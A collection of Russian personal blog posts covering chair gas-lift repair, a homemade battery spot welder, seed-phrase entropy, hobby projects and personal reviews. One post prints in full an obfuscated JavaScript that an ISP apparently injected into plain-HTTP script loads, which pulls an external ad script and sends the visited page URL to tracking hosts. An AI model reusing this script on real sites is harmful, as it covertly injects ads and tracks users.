Как поменять газлифт на кресле и увеличить его срок службы
Итак, дорогие друзья, в этой статье я поделюсь с вами информацией про газлифты, которую мне за годы практики довелось собрать, а именно как увеличить их срок службы в креслах, а также как их снять.
Как снять/поменять газлифт?
Итак, сразу определю вас с терминологией чтобы далее по тексту было всё понятно.
Гильза газлифта - штука которая воткнута в крестовину вашего кресла, т.е. в ножки кресла. Обычно сантиметров 5 в диаметре. Гильзы бывают стандартные и с усеченным конусом. Усеченные легко определить по тому как гильза торчит внизу крестовины. Они ставятся на кресла с высокой крестовиной, например кресла Метта Samurai. Усеченная область может быть разной, но чаще всего составляет порядка 7 сантиметров (Как раз длина торчащей снизу области)
Пневмоцилиндр газлифта - это штуковина на которую надевается верхняя часть кресла с сиденьем. она представляет собой емкость со сжатым воздухом и с ней нужно поаккуратней.
Из пневмоцилиндра исходит его шток, который крепиться к гильзе и фиксируется внизу гильзы фиксирующей шайбой. Её можно увидеть если перевернуть газлифт. Как правило, представляет из себя подобие черной лапки из тонкого упругого металла.
Теперь перейдем собственно к процессу съема газлифта. Чтобы полностью снять газлифт нам потребуется молоток, газовый (он же трубный) ключ и смазка WD-40. Переворачиваем кресло на бок и кладем на пол, чтобы оно приняло максимально устойчивое горизонтальное положение. Предварительно открываем газлифт на всю высоту. В место куда входит пневмоцилиндр в кресло брызгаем смазкой желательно с трубочкой чтобы она не разлеталась по сторонам. Ждем несколько минут затем хватаем ключом в месте ближе к верхней части кресла и прилагая некоторые усилия давления ключем, обстукиваем молотком это место со всех сторон. Если в кресле газлифт не менялся долго то это займет какое-то время, прежде чем обстуканый пневмоцилиндр поддастся вашим усилиям.
На этом этапе у вас должна лежать в стороне верхняя часть кресла и лежать на полу крестовина с всё ещё находящимся в ней газлифтом. И теперь можно воспользоваться одним из двух путей дальнейшего развития событий.
- В большом количестве случаев газлифты меняются на такие же по всем параметрам и соответственно идентичными гильзами. И чтобы не травмировать крестовину вибрациями во время процесса извлечения гильзы, можно её не извлекать вовсе, при условии что она целая (Что практически вероятно так и есть). Нам нужно будет только поменять на новый пневмопатрон. Для этого снимаем фиксирующую шайбу (Которая выглядит как черная лапка). Для этого нужно плоской отверткой поддеть подпружиненную центральную часть к верху и одновременно приложить усилие для сдвига ее в сторону. Рекомендую извлекать держа крестовину во время всего процесса "вверх ногами", т.к. на шток пневмоцилиндра одеты шайбы, пластиковые проставки и могут быть даже подшипники и чтобы всё это беспорядочно не выпало у вас извлекайте газлифт аккуратно сверху вниз. Тоже нужно проделать с новым газлифтом после чего поставить пневмоцилиндр нового газлифта в гильзу старого, которая находится в крестовине. Один нюанс. Гильзы могут немного отличаться от производителя к производителю, поэтому шайбы могут быть разной толщины и стоит убедиться что вы поставили шайбу которая сводит к минимуму наличию люфта при вертикальном воздействии на пневмоцилиндр.
- В некоторых случаях можно заменить газлифт полностью, т.е. с гильзой. Для этого также проходимся по стыкам смазкой WD-40 и начинаем спустя несколько минут выбивать газлифт стукая молотком по-внешнему ребру гильзы. Бить надо не очень сильно чтобы не допустить появления микротрещин в крестовине и не разбить посадочное гнездо. Лучше в полсилы стараться бить равномерно по кругу ребра. В течение 1-2 минут такого действия гильза выпадет и можно ставить новый газлифт.
Как продлить срок службы газлифта?
У некоторых газлифты живут совсем мало от нескольких недель до нескольких месяцев и естественно никто не хочет раз в столь короткий срок покупать новый газлифт. Так что же с этим делать и как увеличить время жизни пресловутого газлифта для кресла? Есть несколько советов которые помогут вам с этим:
- Газлифты значительно быстрее выходят из строя если большую часть времени они используются в положении максимальной высоты. В таком случае рычаг в системе шток-пневмоцилиндр самый большой и есть большая вероятность того что шток может утратить параллельность с пневмоцилиндром и произойдет нарушение работы газлифта. Если это ваш случай возможно стоит купить газлифт большей высоты. Высота газлифтов бывает самая разная и при одинаковом диаметре гильзы и пневмоцилиндра они гарантированно подойдут вам. Можно поменять 200мм газлифт на 230мм или даже больше. После замены вы просто будете использовать его условно на половину высоты и тем самым продлите срок службы. Только стоит учесть что в таком случае минимально возможная высота тоже увеличиться на несколько сантиметров.
- Брать выше класс. Несмотря на то что многие обращают внимает только на вес выдерживаемый классом, стоит выбирать больший класс из-за большей надежности. Даже если вы хрупкая девушка которая весит 45 кг, 4 класс прослужит у вас дольше чем 3.
- Сильно может сократить срок службы механизм качания, а именно неправильно настроенная сила необходимая для качания. Стоит этому уделить особое внимание.
- Если совсем надоели эти головоломки с газлифтами и вы никогда не варьируете их высоту и вам нужно только одно положение высоты, можно просто зафиксировать эту высоту. Для этого кто-то надевает прям на шток резиновые трубки или более жесткие металлические шайбы для достижения нужной высоты. А если у вас есть 3D принтер, то вы и вовсе можете распечатать проставку на сам пневмоцилиндр. К сожалению в этой ситуации утратится подпружинивание, амортизация которая присуща естественной работе пневмоцилиндра.
На этом пожалуй всё. Надеюсь кому-то информация пригодилась.
Ростелеком подменивает JS-файлы
Не буду писать целый детективный сказ о том как мне довелось обнаружить и методом исключения определить виновника, но фак остается факом: Ростелеком подменяется содержимое загружаемого JS-файла, если он запрашивается не через https.
Возникает это спонтанно, не при каждом запросе, без явно видимого паттерна. Возникло по ощущуениям в течение последнего месяца, когда я проверял доступность одного из своих скриптов и вместо загрузки получил 307 редирект на домен http://r.2ad.wtf/?orig=http%3A%2F%2Fexample.com%2Ftest.js&id=778420ab3cc3ea2edee8723a3b700bca78b9®=23
Со следующим содержимым:
var _0x23f1 = [
'hmcsN',
'OKlrp',
'Wjrov',
'KKiky',
'currentScript',
'scripts',
'rkxBJ',
'defer',
'htLqe',
'ywtGv',
'__qsrad',
'http://dmg.digitaltarget.ru/1/6628/i/i?i=',
'random',
'&c=tg:sid_na%20aid_',
'%20step_sub%20rid_',
'anPus',
'aSSXP',
'ODLAD',
'AkhyC',
'OVCYC',
'&if=',
'FInJV',
'Jynff',
'joSbn',
'IKuek',
'self',
'RYBQX',
'bXIBc',
'aAnMP',
'parentNode',
'insertBefore',
'nextSibling',
'write',
'outerHTML',
'createElement',
'JgGSx',
'prototype',
'slice',
'call',
'attributes',
'Puluq',
'setAttribute',
'nodeValue',
'src',
'®=',
'&id=',
'&referer=',
'script',
'http://p.2ad.wtf/ad/base.js?id=',
'http://d.2ad.wtf/p.gif?ch=r&rid=',
'rwSzs',
'KVDqs',
'fbbQj',
'sZuBB'
];
(function (_0x38ae5c, _0x3b4b7f) {
var _0x56bea0 = function (_0x217d5a) {
while (--_0x217d5a) {
_0x38ae5c['push'](_0x38ae5c['shift']());
}
};
_0x56bea0(++_0x3b4b7f);
}(_0x23f1, 0x104));
var _0x389e = function (_0x5cd1f7, _0x1200c1) {
_0x5cd1f7 = _0x5cd1f7 - 0x0;
var _0x6da02d = _0x23f1[_0x5cd1f7];
return _0x6da02d;
};
(function () {
var _0x49c5bb = {
'anPus': function (_0x2015c0, _0x2c61f8) {
return _0x2015c0 + _0x2c61f8;
},
'aSSXP': function (_0x20caa7, _0x212e64) {
return _0x20caa7 + _0x212e64;
},
'ODLAD': function (_0x3a9e6a, _0x3aae04) {
return _0x3a9e6a + _0x3aae04;
},
'AkhyC': function (_0x5cef94, _0x2013e7) {
return _0x5cef94 + _0x2013e7;
},
'OVCYC': function (_0x4d8c1a, _0x6db1e9) {
return _0x4d8c1a + _0x6db1e9;
},
'FInJV': function (_0x1b138a, _0x3ac28) {
return _0x1b138a(_0x3ac28);
},
'Jynff': function (_0x36d95e, _0xe749d7) {
return _0x36d95e === _0xe749d7;
},
'OKlrp': _0x389e('0x0'),
'joSbn': function (_0x464e55, _0x2c5bc1) {
return _0x464e55(_0x2c5bc1);
},
'IKuek': _0x389e('0x1'),
'ZJBEr': function (_0x1115c7, _0x47fb90) {
return _0x1115c7 !== _0x47fb90;
},
'RYBQX': function (_0x43f824, _0x507c3f) {
return _0x43f824 + _0x507c3f;
},
'bXIBc': _0x389e('0x2'),
'rwSzs': function (_0x3ce4a3, _0x5ef47d) {
return _0x3ce4a3 + _0x5ef47d;
},
'aAnMP': function (_0x3a7d27, _0x32c4ec) {
return _0x3a7d27(_0x32c4ec);
},
'sZuBB': function (_0x4ad819, _0x51e87b) {
return _0x4ad819(_0x51e87b);
},
'JgGSx': _0x389e('0x3'),
'Puluq': function (_0x2bf1d5, _0x4d076e) {
return _0x2bf1d5 < _0x4d076e;
},
'KVDqs': function (_0x280f2e, _0x32af80) {
return _0x280f2e + _0x32af80;
},
'fbbQj': function (_0x443b16, _0x53b4cf) {
return _0x443b16 + _0x53b4cf;
},
'pfbmS': _0x389e('0x4'),
'hmcsN': function (_0x55573e, _0xcc3c30) {
return _0x55573e(_0xcc3c30);
},
'Wjrov': _0x389e('0x5'),
'KKiky': function (_0x1b7bf7, _0x2d5e53) {
return _0x1b7bf7(_0x2d5e53);
},
'rkxBJ': function (_0x805332, _0x11f611) {
return _0x805332 - _0x11f611;
},
'oSEaU': function (_0x32f134) {
return _0x32f134();
},
'htLqe': function (_0x15017d) {
return _0x15017d();
},
'ywtGv': function (_0x907840) {
return _0x907840();
}
};
// javascript-obfuscator:disable
var rid = 'sXoyyOHSmB_D3x4nOmjDzv5fQG0';
var id = '778420ab3cc3ea2edee8723a3b700bca78b9';
var reg = '23';
var orig = 'http://example.com' + '?'; // javascript-obfuscator:enable
var _0x53b9f7 = _0x49c5bb[_0x389e('0x6')](_0x49c5bb[_0x389e('0x7')](_0x49c5bb[_0x389e('0x7')](_0x49c5bb[_0x389e('0x8')](_0x49c5bb['pfbmS'], _0x49c5bb[_0x389e('0x9')](encodeURIComponent, id)), '&rid='), _0x49c5bb[_0x389e('0xa')](encodeURIComponent, rid)), _0x49c5bb[_0x389e('0xb')]) + encodeURIComponent(reg);
var _0x508dae = _0x49c5bb[_0x389e('0x8')](_0x49c5bb[_0x389e('0xc')], _0x49c5bb[_0x389e('0xd')](encodeURIComponent, rid));
var _0x23d860 = document[_0x389e('0xe')] || document[_0x389e('0xf')][_0x49c5bb[_0x389e('0x10')](document['scripts']['length'], 0x1)];
var _0xea865 = _0x50ee0e(orig, _0x23d860);
var _0x794dcf = _0x23d860['async'] || _0x23d860[_0x389e('0x11')] ? _0x4e780e : _0x5937ea;
_0x49c5bb[_0x389e('0xd')](_0x794dcf, _0xea865);
var _0x501428 = _0x49c5bb['oSEaU'](_0x59f8e3);
_0x49c5bb[_0x389e('0x12')](_0x26aaf1);
_0x49c5bb[_0x389e('0x13')](_0x33e6e2);
if (!window[_0x389e('0x14')] && !_0x501428) {
window[_0x389e('0x14')] = 0x1;
window['rid'] = rid;
_0x49c5bb[_0x389e('0x13')](_0x487a19);
}
function _0x33e6e2() {
new Image()['src'] = _0x389e('0x15') + Math[_0x389e('0x16')]() + _0x389e('0x17') + id + '%20reg_' + reg + _0x389e('0x18') + rid;
}
function _0x26aaf1() {
new Image()['src'] = _0x49c5bb[_0x389e('0x19')](_0x49c5bb[_0x389e('0x1a')](_0x49c5bb[_0x389e('0x1a')](_0x49c5bb[_0x389e('0x1b')](_0x49c5bb[_0x389e('0x1c')](_0x49c5bb[_0x389e('0x1d')](_0x49c5bb['OVCYC'](_0x508dae, _0x389e('0x1e')), _0x49c5bb[_0x389e('0x1f')](Number, _0x501428)), '&qsrad='), _0x49c5bb[_0x389e('0x20')](window[_0x389e('0x14')], 0x1) ? 0x1 : 0x0), _0x49c5bb['OKlrp']), _0x49c5bb[_0x389e('0x21')](encodeURIComponent, reg)) + _0x49c5bb[_0x389e('0x22')], _0x49c5bb[_0x389e('0x21')](encodeURIComponent, id));
}
function _0x59f8e3() {
try {
return _0x49c5bb['ZJBEr'](window[_0x389e('0x23')], window['top']);
} catch (_0x3d7bd4) {
return !![];
}
}
function _0x487a19() {
var _0x306157 = _0x49c5bb[_0x389e('0x24')](_0x49c5bb[_0x389e('0x25')], encodeURIComponent(location['href']));
var _0x3b5f19 = _0x49c5bb['rwSzs'](_0x53b9f7, _0x306157);
var _0x4bfca1 = _0x49c5bb[_0x389e('0x26')](_0x50ee0e, _0x3b5f19);
_0x49c5bb[_0x389e('0x9')](_0x4e780e, _0x4bfca1);
}
function _0x4e780e(_0x1c8cbd) {
_0x23d860[_0x389e('0x27')][_0x389e('0x28')](_0x1c8cbd, _0x23d860[_0x389e('0x29')]);
}
function _0x5937ea(_0x39a4c8) {
document[_0x389e('0x2a')](_0x39a4c8[_0x389e('0x2b')]);
}
function _0x50ee0e(_0x23ce2f, _0x51ca22) {
var _0x457409 = document[_0x389e('0x2c')](_0x49c5bb[_0x389e('0x2d')]);
if (_0x51ca22) {
var _0x1d4e8e = Array[_0x389e('0x2e')][_0x389e('0x2f')][_0x389e('0x30')](_0x23d860[_0x389e('0x31')]);
for (var _0x4cf2a0 = 0x0; _0x49c5bb[_0x389e('0x32')](_0x4cf2a0, _0x1d4e8e['length']); _0x4cf2a0++) {
_0x457409[_0x389e('0x33')](_0x1d4e8e[_0x4cf2a0]['nodeName'], _0x1d4e8e[_0x4cf2a0][_0x389e('0x34')]);
}
}
_0x457409[_0x389e('0x35')] = _0x23ce2f;
return _0x457409;
}
}());
Из всего этого следует что Ростелеком охуел в край, уже не насыщаясь абон. платой и сверху накидывая мне в браузер ещё и рекламного говна, коим интернет и так кишит. Под шумок так сказать. Возможно без AdBlock'а я бы заметил это безобразие гораздо раньше. Остается либо мириться с говноедством провайдера либо съебывать.
Сварка аккумуляторов 18650
В этой статье пойдёт речь о сварке этих пресловутых батареек 18650. Для чего это может потребоваться? Ну в первую очередь сварка обеспечивает надежное соединение, подходящее для больших токов и в дополнение не перегревает внутренности батареи, близкие к полюсам.
Сборка сварки 18650
Замените на трансформаторе с микроволновки вторичную обмотку, аккуратно спилив ее ножовкой по-металлу. Также не забудьте убрать токовые шунты, представляющие собой металлические пластины между первичной и вторичной обмотками. Теперь берем максимально толстый медный многожильный провод и на его основе крутим в трансформаторе вторичную обмотку на 2-5 витков. Чем меньше витков тем меньше напряжение, но больше сила тока и наоборот. Но с меньшим напряжением нужно использовать только толстый и максимально короткий провод, иначе успеха не будет. Ни в коем случае не собирайте вторичную обмотку из последовательного соединения каки-либо проводов. Это в корне гиблая идея, поскольку в местах соединения отрезков сопротивление будет выше чем на остальном участке провода, что неизбежно приведет к потере мощности на электродах сварки. Но в магазинах электро-комплектующих не всегда заваливается хороший по сечению кабель, и тут мы можем просто купить максимально толстый многожильный гибкий провод большей длины чем планируем на обмотку. Например, в 2 раза больше чем нам нужно. Затем дома режем его пополам, очищаем от изоляции, скручиваем вместе чтоб было потолще и изолируем термоусадочной трубкой, которой в китае на любой диаметр, длину и цвет.
Если у меня внезапно возникнет желание раскрыть эту часть статьи сильнее, я напишу здесь про сборку сварки на базе контроллера Atmega328p со всеми тонкостями.
Советы по сварке батарей
На своем опыте я уже набил шишек и хочу поделиться с вами информацией, которая возможно минимизирует количество ваших шишек.
1. Не стоит прям с большим фанатизмом давить, в таком случае ток разогревает метал и сила нажима просто продавливает его, не обеспечивая самого сваривания.
Также большое давление продавливает аккумулятор и быстрее затупляет электроды. Давления только лишь должно хватать на то чтобы между никелевой пластиной и банкой аккумулятора не было щели.
2. Иногда слишком большое время сварки варит хуже чем меньшее, поэтому в тестировании стоит начинать с самого малого и наращивать при необходимости.
Тестовые сварки лучше делать па паре штук чтобы исключить погрешности (Разная сила давления/загрязненность места сварки)
Если ваша сварка поддерживает режим сваривания в два и более импульсов, то не стоит сразу гнаться за этим. Начинайте с одного импульса. Во многих случаях этого достаточно.
3. Заточке электродов (а точнее её отсутствию) следует уделить особое внимание. Не рекомендую использовать острые, наточенные электроды. Конец электрода должен напоминать скорее наконечник дешевой шариковой ручки, чем острую иглу. Острым электродом легче пробить аккумулятор, что может привести к пожару.
Здесь главное консистентность. Нужно после подготовки электрода сделать несколько тестовых сварок и за это время электрод будет принимать максимально устойчивую форму, что позволит выбрать 1 оптимальный режим сварки (Кол-во импульсов + их длительность) для максимально качественного соединения. Как вы понимаете, если вы будете после пары тройки раз опять затачивать или каким-то образом менять форму конца электрода - измениться его площадь соприкасания с поверхностью никелевой ленты, что изменить качество сварки и как правило не в лучшую сторону.
К слову такой сваркой, как вы уже наверняка понимаете и сами, работа с 18650 не ограничивается. Ею можно варить любой формат батарей и не только батарей. Мне уже доводилось использовать такую сварку как точечную сварку для тонкого металла, с чем она справилась блестяще.
Будет здорово если этот материал кому-то пригодится.
Последняя запись
На данный момент нет смысла писать здесь свои размышления, которые я стал считать более приватными, чем похоже полагал раньше. Теперь для этих целей есть цифровые записные книжки вроде OneNote, которые блестяще справляются с задачей хранения заметок, мыслей и идей. Писать здесь? Кому? Себе? Я едиснтвенный человек, который пишет и читает всё это. Это выглядит как разговор с самим собой.
За некоторые записи сейчас даже как-то стыдно. Сейчас я бы так не писал. Хорошо это или плохо с объективной точки зрения я не могу сказать. За несколько лет я поменялся, как и мои взгляды на многое. Я не считаю чем-то хорошим вести блог для себя на своей же платформе. За этим нет будущего. Если писать для кого-то, то лучше собирать аудиторию там где она уже есть. Всякие Телеграм-каналы, Твиттеры подойдут наверное лучше. А пока этот сайт с большей вероятностью останется моей визитной карточкой, портфолио без существенного распыления на что-то другое.
2019 уже начался
Вот и пустился в ход отсчёт дней нового, 2019 года. Время проходит всё незаметнее и быстрее. Я уже проебал момент когда в конце уходящего года подводятся его итоги и могу только сказать, что прошлый год был самым разносторонним, содержащим поездки, новые увлечения (CNC, 3D-Printer, Электричество). По понятным причинам новые направления это замечательно, но это и было самым ужасным - не было фокуса на определенном занятии достаточно долгое время, чтобы добиться хороших результатов и вместо этого я только "понадкусывал" все эти дела. Возможно, чтобы не проебать важные вещи, делать которые нужно, но нет большого желания, мне стоит научиться делегировать задачи. С этим я ещё не разбирался, но в этом году буду стараться копнуть подход. И однозначно следует в этом году больше потратить время на саморазвитие. Из потуг в этом направлении уже была приобретена электрокнига, которую почитываю ежедневно и надеюсь эта тенденция сохранится до конца года.
Что ж, удачи достичь высшего уровня дисциплины мне в этом году!
Шашки онлайн
На прошлой неделе наконец-таки дописал шашки. Это мой первый мультиплеерный проект со всеми возможными нюансами. Есть вероятность что что-то было реализовано недостаточно хорошо или совсем плохо. В ходе реального использования это будет выявляться и исправляться. По ощущениям времени ушло больше, чем могло бы. Это то что можно было бы оптимизировать.
На данный момент проект доступен только на сайте. Со временем выйдет на других платформах. Эта страница будет обновляться по мере изменений.
Что ж, в интернете есть несколько работающих онлайн шашек, но мне хотелось чего-то особенного, своего и в перспективе кроссплатформенного. Так же было желание попробовать разобраться немного лучше в этой теме. Поэтому, если вы вдруг являетесь любителем разложить пару партий в русские шашки, попробуйте поиграть в мою реализацию и пишите обратную связь в комментарии. Буду рад.
Шашки онлайн без смс и регистрации
Насколько надежен сид в Electrum и других кошельках?
В этой небольшой заметке я постараюсь развеять все сомнения по поводу безопасности использования сидов как в Electrum. Некоторые люди, особенно которые недавно вошли в тему криптовалют, ставят под сомнение надежность сгенерированных сидов вида current ripple stock slot good enlist bitter catch paddle youth panel gesture. И как оказалось таких людей немало. Вот их скепсис по этому поводу:
восстановить кошелек в электрум можно только введя сид из 13 слов, неужели нельзя случайно его угадать? понятно что не подберешь сид определенного кошелька, но неужели нельзя случайно подобрать чей-то сид? например в связке логин/пароль нужно к определенному логину подобрать пароль, а чтобы получить доступ к кошельку електрум нужно подобрать только логин без пароля.. пытался найти ответ на свой вопрос, но так и не смог понять почему seed так безопасен.
Как видно, господин орудует сравнением теоретического взлома сида и взлома пароля с логином. Что ж, давайте тогда и будем двигаться в этом направлении чтобы иметь некий базис, на основе которого постараемся математически развенчать мифы о взломоопасности сидов.
Для начала давайте определим при переборе логина+пароля сколько будет вариантов всего. Естественно, точного ответа тут не может быть, но мы будем округлять всё в сторону более тяжелого перебора, чтобы уж наверняка.
Пускай средний логин у нас будет состоять из 8 символов. Обычно логины нечувствительны к регистру и состоят только из латинских символов и цифр, но мы для простоты подсчета, в рамках нашего "округления" допустим что логин может состоять из того же набора символов что и пароль.
А из чего состоит пароль? Все цифры (0-9), буквы в обоих регистрах (a-Z), специальные символы которых штук 10. В сумме 10+26+26+10=72. Т.е. 72 варианта каждого символа.
Обычно пароль состоит из 8-12 символов, мы возьмем для примера 12. Итак, у нас получилось в сумме 8 символов логина + 12 символов пароля, т.е. 20 символов в сумме. Охренеть! Двадцать семидесятиразрядных символов!
Вооружившись знаниями школьного курса комбинаторики, посчитаем количество возможных вариантов:
7220 = 1,4016834 × 1037
Как видно из результата получается очень большое число с 37 нулями.
Если на данный момент с логином-паролем более или менее понятно, то как же обстоят дела с сидами? Давайте выясним!
Итак, для примера возьмем мнемоники BIP39, коих в сумме 2048. Иначе говоря 2048 слов, из которых в конечном итоге составляется сид.
Наш сид в рамках примера будет иметь размер - 12 слов.
Например, уже упомянутый в заметке сид:
current ripple stock slot good enlist bitter catch paddle youth panel gesture
Сид с первого взгляда может выглядеть безобидно и просто в сравнении с курьёзными паролями и мудрыми логинами. Но наверняка это лишь фасад.
Подобно примеру с логином-паролем, мы на данный момент понимаем, что имеем 12 символов слов и 2048 разрядов.
2 04812 = 5,4445179 × 1039
Ну и собственно сравниваем: 5,4445179 × 1039 : 1,4016834 × 1037 ≈ 388
Мы получили что сид длиною в 12 слов взломать перебором в 388 раз сложнее, чем сложные логин+пароль.
И давайте не забывать что это сид всего лишь в 12 слов. На аппаратных кошельках и не только вы можете использовать сиды из 24 слов! А это... погодите мгновение... 2,9642775 × 1079 вариантов! Для сравнения на нашей планете людей в сумме 7,4 × 109! Сидов в 10000000000000000000000000000000000000000000000000000000000000000000000 раз больше!
Всё!
Сервис для работы со строками (текстом)
Сегодня закончил работу над инструментом для более удобной работы с текстовыми строками. Хотя работой это можно назвать с натяжкой, т.к. заняло всё пару дней и делалось на неугасающем энтузиазме. В первую очередь "Редактор строк" создавался с целью помогать мне в работе. При создании уровней словесных игр очень часто приходится писать на JS костыльные одноразовые функции чтобы решать задачи, с технической точки зрения простые, но имеющие ряд нюансов. Всё это делать было крайне неудобно, приходилось создавать разные файлы с разными функциями для проектов и всё это превращалось в винегрет. И вот настал момент, когда необходимость совместить строки двух текстовых файлов заставила меня снова писать функцию и я решил что пора более или менее унифицировать процесс работы со строками. Что я собственно и постарался сделать. Итак, редактор строк, что это вообще за инструмент и зачем он нужен? Расскажу подробнее.
Редактор строк может фактически то, что могут многие сервисы, которые запросто можно найти в интернете, но с некоторыми дополнительными плюшками.
На данный момент вы можете делать следующее:
Сортировка: А-Я - Обычная сортировка по алфавиту.
Сортировка: По длине - Сортировка по длине строк
Сортировка: Обратить - Сортирует строки в обратной последовательности. Т.е. Если мы хотим не от А до Я, а от Я до А, мы выбираем сортировку А-Я, а затем применяем эту функцию сортировки для получения желаемого результата.
Сортировка: Перемешать - Просто перемешает строки в случайном порядке
Дубли: Удалить - Найдёт дубликаты строк и удалит их
Дубли: Удалить (с основами) - Если строка повторяется, он удалит все повторы, в т.ч. и оригинал строки
Дубли: Оставить - Ищет дубли строк и оставляет только найденные дубли
Транслит Абв-Abv - Обычная функция транслитерации кириллицы в латинские буквы
Регистр:ПРОПИСНЫЕ - Меняет регистр букв на прописные
Регистр: строчные - Меняет регистр букв на строчные
Регистр: Заглавные - Делает первую букву строки большой
Объединить строки - Объединяет строки в одну своим разделителем или выбранным.
Разделить на строки - Разделяет одну строку (текст) на строки своим разделителем или с выбранным.
Удалить - Ищет и удаляет на выбор: пустые строки, все пробелы, меняет двойные пробелы на один, ищет и удаляет введенные данные. Также может работать с регулярными выражениями.
Заменить - Ищет и заменяет одни данные другими.
Стеммер Портера - Применяет к тексту стеммер Портера
Объединение строк W1+W2 - Может выполнять как прямое объединение строк из полей W1 и W2, так и полное. При прямом объединение конечные данные будут содержать количество строк равное большему по кол-ву строк текстовому полу. Первая строка будет содержать первые строки полей, вторая - вторые и так далее, без пересечений меж строками. При полном объединении количество строк результата будет равно произведению количеств строк в двух полях. Данный пункт появляется только в режиме двух текстовых полей.
Вот, собственно, сам редактор:
Для полноты удобства рекомендую открыть в отдельном окне.
В редакторе есть возможность включить режим работы с двумя текстовыми полями. После включения вам станут доступны уникальные для этого режима функции. Выбираемые функции будут применяться к активному текстовому полю.
Редактор поддерживает загрузку файлов перетаскиванием, а также сохранение файлов.
Данный редактор будет периодически пополняться новыми функциями. Если про какие-то важные функции работы со строками я забыл - пишите в комментариях к материалу.
Итоги лета
Что ж, вот и прошло лето и самое время подвести итоги выполненной работы, завершенных дел, потраченных на отдых недель часов. В первую очередь хотелось бы отметить поразительно низкую общую производительность. Связано это в первую очередь с распылением фокуса внимания на новое направление - криптовалюты/майнинг. Соответственно пришлось немало времени уделить настройке всего, докупке оборудования, постоянным поездка туда-сюда за прибывшими видеокартами, за необходимостью чинить сломавшийся софт (Подлый Тимвивер), а порой даже и хард (В конце августа приказала долго жить материнская плата MSI krait gaming 3x после перебоев с электроэнергией). Я бы сказал что майнинг и крипта, сколько бы они времени фактически не заняли, были в голове безвылазно до конца августа, что в конечном итоге подорвало производительность в основной деятельности, о чём я и собирался написать в этой заметке.
Компьютерные игры стоят на втором месте в списке олицетворений зла, мешающего работе. Вышедшая 16 альфа 7 Days to Die выкрала несколько десятков часов в общей сложности. Полный желания поиграть максимально качественно, я даже поднял свой сервер который работает и по сей день, вот уже более 3 месяцев подряд. Есть ещё несколько тайтлов на которые были потрачены бесценные часы: Stronghold Legends, Prey, GTA V, R6 Siege, KSP, Gwent.
С английским случился просто какой-то феерический проёб. Мне кажется суммарный прогресс даже весьма ощутимо просел. В этом направлении мне ещё стоит работать и работать. 3/4 английского необходимого для общения я уже должен знать, но по ощущениям я могу скоро достичь 1/8 этой цели. Грустный итог.
Из положительного что можно вспомнить, это поездка в Сочи и наверное всё. Также стоит упомянуть, что в июне я собрал себе игровой ПК с i7 7700k и 1080ti на борту, но пока в работе и благих делах он не пригодился, поэтому в список положительного не попал.
Куплено: квадрокоптер, телефон, часы.
Выпущенных/законченных проектов: 0
За всё лето полезного и нужного, судя по всему, не было сделано ничего. НИ-ЧЕ-ГО! Это как если бы черную дыру радиусом в полтора месяца разместить в середину июля.
Вывод: Причиной всему явилось рассеянное внимание на не столь нужные или ненужные вовсе вещи. Очень глупо пытаться искать оправдания перед самим собой за проёбанное время, ведь в итоге виноват я сам из-за отсутствия должной дисциплины. Любопытный факт: во время процесса пустой траты времени не ощущается серьёзности всей ситуации пока не начинаешь это всё переводить в цифры и сравнивать. И тогда...
Это был пост в котором я не побоялся признать свои провалы лета и постарался без преуменьшения описать всю произошедшую деструкцию производительности.
Связался с майнингом. Отчёт за последнее время
Весь апрель и значительная часть мая у меня практически полностью ушли на майнинг... Майнинг криптовалют.
Пришлось полностью погрузиться в эту атмосферу изучения компьютерного железа, совместимостей, настроек, установок, бесконечных волнений. Можно сказать что часть года была посвящена майнингу и теперь стоит лишь рассчитывать на целесообразность всех совершенных действий. Теперь я майнер, теперь я тоже в этом дерьме. Будет очень хуёво, если это направление не принесёт ожидаемых дивидендов.
Не скажу что мне это совсем не понравилось. Напротив, это было очень увлекательно и интересно. В сравнении с моей обычной деятельностью это что-то новое и непривычное, своеобразная смена вида деятельности. В майнинге есть что-то пленящее меня. Определённо. Порой, в ожидании окончания какого-либо процесса, я ловил себя за увлекательным наблюдением вывода консоли, где сообщения о найденных "шарах" радуют глаз.
На данный момент работают две фермы, в сумме 9 видеокарт. Не всё так стабильно как хотелось бы. Есть проблемы с питанием из-за чего случаются периодические подвисания одной фермы. Надеюсь в будущем это решить.
Итак, отчёт... С этим как-то не очень хорошо. Коэффициент успешности полученного результата к потраченному времени очень низок за последние 2 месяца. Да что там за 2 месяца. За текущий год я ещё не выпустил ни одной новой игры или приложения или просто нового продукта. Я считаю это плохо и постараюсь повышать производительность в нужных направлениях.
Сейчас есть ощущение необходимости расшириться, сделать что-то большее, новое для себя, но внутренний барьер не даёт так просто перечь эту грань. Текущее обустройство моего окружения не может существовать вечно. Я это понимаю, но почему-то стараюсь как можно дольше оставаться в этой зоне гарантированного комфорта, ограждая себя возможно от самого главного и нужного.